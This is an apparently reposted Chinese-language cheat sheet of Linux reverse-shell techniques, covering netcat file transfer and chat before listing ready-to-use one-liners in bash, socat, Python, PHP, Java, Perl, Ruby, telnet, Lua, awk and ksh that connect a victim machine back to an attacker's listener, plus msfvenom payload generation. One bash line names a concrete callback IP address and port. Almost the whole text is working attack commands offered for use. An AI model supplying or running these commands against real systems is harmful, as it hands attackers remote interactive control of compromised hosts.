linux反彈shell總結


1.1發送文件(公網發內網)

文件發送端:

nc -lp 6666 < 文件

文件接收端:

nc 發送端ip 發送端端口 > 新文件

1.2發送文件(內網發公網)
文件發送端:

nc -lp 6666 > 文件

文件接收端:

nc 發送端ip 發送端端口 < 新文件

2.聊天
發送端:

nc -lp 6666

接收端:

nc 發送端ip 發送端端口

3.1發送shell
發送端(公網服務器):

nc -lvvp 發送端port -e /bin/bash

接收端:

nc 發送端ip 發送端port

3.2反彈shell
接收端:

nc -lvvp 6666

發送端(內網網服務器):

nc 接收端ip 接收端端口 -e /bin/bash

4.bash反彈
接收端(hackip,公網):

nc -lvvp 端口

發送端(受害者):

bash -i >& /dev/tcp/攻擊ip/攻擊端口 0>&1

發送端(受害者):

0<&31-;exec 31<>/dev/tcp/111.230.170.95/9985;sh <&31 >&31 2>&31

5.1socat反彈(tcp)
接收端(攻擊機):

./socat TCP-LISTEN:端口 -

發送端(靶機):

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻擊機ip:攻擊機端口

5.2socat反彈(udp)
接收端:

nc -lvvp 8080

發送端:

socat udp-connect:攻擊者ip:端口 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &

6.python反彈
接收端(攻擊機,外網):

nc -lvvp 端口

發送端(靶機):

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

7.PHP反彈
接收端:

nc -lvvp 端口

發送端:

php -r '$sock=fsockopen("攻擊者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'

8.JAVA反彈
接收端:

nc -lvvp 端口

發送端:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻擊者ip/端口;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

9.perl反彈
接收端:

nc -lvvp 端口

發送端:

perl -e 'use Socket;$i="攻擊者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

10.ruby反彈
接收端:

nc -lvvp 端口

發送端:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻擊者ip","端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

11.telnet反彈
接收端:

nc -lvvp 端口

發送端:

mknod backpipe p && telnet 攻擊者ip 端口 0<backpipe | /bin/bash 1>backpipe

  

12.lua反彈(安裝lua環境:apt-get install lua*)
接收端:

nc -lvvp 端口

發送端:

lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('攻擊者ip',端口);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"

13.awk反彈
接收端:

nc -lvvp 端口

發送端:

awk 'BEGIN{s="/inet/tcp/0/攻擊者ip/端口";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'

14.ksh反彈
接收端:

nc -lvvp 端口

發送端:

ksh -c 'ksh >/dev/tcp/攻擊者ip/端口 2>&1 <&1'

15.msfvenom生成各種payload
接收端:

nc -lvvp 端口

查找payload:

msfvenom -l payload |grep 'cmd/unix/reverse'

生成payload:

msfvenom -p cmd/unix/reverse_模塊 lhost=接收端ip lport=接收端端口 R


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM